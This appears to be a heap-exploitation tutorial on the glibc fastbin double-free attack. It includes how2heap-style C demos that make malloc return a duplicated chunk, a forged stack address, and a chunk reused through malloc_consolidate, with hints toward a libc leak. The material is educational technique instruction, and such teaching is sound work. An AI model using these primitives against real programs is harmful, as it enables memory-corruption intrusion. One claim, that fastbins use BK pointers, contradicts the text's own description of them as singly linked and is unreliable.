Fast Bin Attack

Here are a list of key properties of FastBins

• Single Linked List - LIFO

• 10 bins, sizes of 8 bytes to 80 bytes

• Two Adjacent Freed FastBins will not consolidate

• FD and BK pointers point to the next and previous chunk respectively

So what happens if we perform a double free on a FastBin chunk? Let's look at this example by how2heap

C++

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	printf("This file demonstrates a simple double-free attack with fastbins.\n");

	printf("Fill up tcache first.\n");
	void *ptrs[8];
	for (int i=0; i<8; i++) {
		ptrs[i] = malloc(8);
	}
	for (int i=0; i<7; i++) {
		free(ptrs[i]);
	}

	printf("Allocating 3 buffers.\n");
	int *a = calloc(1, 8);
	int *b = calloc(1, 8);
	int *c = calloc(1, 8);

	printf("1st calloc(1, 8): %p\n", a);
	printf("2nd calloc(1, 8): %p\n", b);
	printf("3rd calloc(1, 8): %p\n", c);

	printf("Freeing the first one...\n");
	free(a);

	printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	printf("So, instead, we'll free %p.\n", b);
	free(b);

	printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
	a = calloc(1, 8);
	b = calloc(1, 8);
	c = calloc(1, 8);
	printf("1st calloc(1, 8): %p\n", a);
	printf("2nd calloc(1, 8): %p\n", b);
	printf("3rd calloc(1, 8): %p\n", c);

	assert(a == c);
}

1. First we allocate 3 FastBin Chunks

2. We then follow up with a double free with a alternate chunk in the middle so as to not trigger malloc(): memory corruption (fast)

3. Our fastbin free list is now circular and if we allocate three times more with the same size, malloc returns the same fastbin address twice!

We can leverage this to allow malloc to return a arbitrary pointer address to the stack or heap by utilizing UAF to change the fd pointer of the duped fastbin chunk to an address that we want.

C++

#include <stdio.h>
#include <stdlib.h>

int main()
{
	fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
	       "returning a pointer to a controlled location (in this case, the stack).\n");

	unsigned long long stack_var;

	fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

	fprintf(stderr, "Allocating 3 buffers.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", a);
	fprintf(stderr, "2nd malloc(8): %p\n", b);
	fprintf(stderr, "3rd malloc(8): %p\n", c);

	fprintf(stderr, "Freeing the first one...\n");
	free(a);

	fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	fprintf(stderr, "So, instead, we'll free %p.\n", b);
	free(b);

	fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
		"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
	unsigned long long *d = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", d);
	fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
	fprintf(stderr, "Now the free list has [ %p ].\n", a);
	fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
		"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
		"so that malloc will think there is a free chunk there and agree to\n"
		"return a pointer to it.\n", a);
	stack_var = 0x20;

	fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

	fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
	fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}
C+

Something to take note of here is to ensure that the fake chunk that fd is pointing to must have a valid chunk size.

wdb> x/10gx 0x7ffee712dd78-0x10
0x7ffee712dd68: 0x000000000040096d    
0x7ffee712dd78: 0x0000000002564010    0x0000000002564030
0x7ffee712dd88: 0x0000000002564050    0x0000000002564010
0x7ffee712dd98: 0x7819c9bf4ede0e00    0x0000000000400990
0x7ffee712dda8: 0x00007f095da82830    0x00007ffee712de88

This can be combined with heap consolidation via unsorted bin to get a libc leak.

C++

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
  void* p1 = malloc(0x40);
  void* p2 = malloc(0x40);
  fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
  fprintf(stderr, "Now free p1!\n");
  free(p1);

  void* p3 = malloc(0x400);
  fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
  fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
  free(p1);
  fprintf(stderr, "Trigger the double free vulnerability!\n");
  fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
  fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

We can see that the last two malloc calls return the same pointer to p1 which has been consolidated with the large chunk allocated. If we have a UAF on p1, we can potentially get a libc leak via main_arena+88.